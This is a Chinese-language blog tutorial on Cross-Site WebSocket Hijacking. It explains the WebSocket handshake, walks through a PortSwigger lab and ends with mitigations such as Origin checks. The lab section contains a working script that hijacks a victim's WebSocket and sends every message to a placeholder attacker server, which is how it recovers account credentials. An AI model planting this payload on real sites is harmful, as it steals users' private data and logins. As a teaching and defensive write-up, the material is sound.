当前位置: 首页 > 技术干货 > 浅析websocket劫持

浅析websocket劫持

发表于:2022-07-15 17:10 作者: Blackwatch 阅读数(678人)

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

WebSocket劫持漏洞导读

WebSocket协议技术

WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

websocket是持久化的协议,而http是非持久的

当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态

WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图

 

 1.jpg

建立WebSocket连接

WebSocket连接通常是使用客户端JavaScript创建的

var ws = new WebSocket("wss://normal-website.com/chat");
//`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。

为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。

请求和响应中 Connection和Upgrade标头表示这是WebSocket握手

WebSocket安全漏洞

原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现

• 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等

• 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到

• 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞

1.png 

 

本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH

跨站WebSocket劫持漏洞

什么是跨站WebSocket劫持漏洞

Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接

CSWSH与跨站请求伪造CSRF的漏洞原理极其类似

2.jpg

 

相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性

跨站WebSocket劫持漏洞可能带来的影响

• 执行伪造成用户的未授权操作

与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作

• 检索用户可访问的敏感数据

与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息

跨站WebSocket劫持漏洞靶场演示

靶机环境

• 靶场

 借助于burpsuite练兵场

 Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)

• 浏览器环境

 edge浏览器

靶场解析

• 点击启动靶场

 2.png

 

• 观察发现存在实时聊天界面,观察发现没有CSRF的令牌

• 将代码复制到body

 <script>
  var ws = new WebSocket('wss://your-websocket-url');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
  };
</script>

• wss://your-websocket-url替换成目前url

• https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器

• 可以点击view exploit测试,也可以直接发给攻击方

 3.png

• 然后在Burp Collaborator Clientpoll几下

• 翻看一下得到账号密码

 4.png

然后我选择再用dnslog验证一遍

5.png 

 6.png 

 确实可以带出数据,执行敏感操作

如何防范跨站WebSocket劫持漏洞

• 校验Origin头

• 双向将WebSocket传输数据视为不可信

• WebSocket握手信息进行加密保护

• 硬编码WebSockets终结点的URL

参考文章

• Testing for WebSockets security vulnerabilities | Web Security Academy (portswigger.net)

• 跨站WebSocket劫持漏洞的研究与防御方法 - 知乎 (zhihu.com)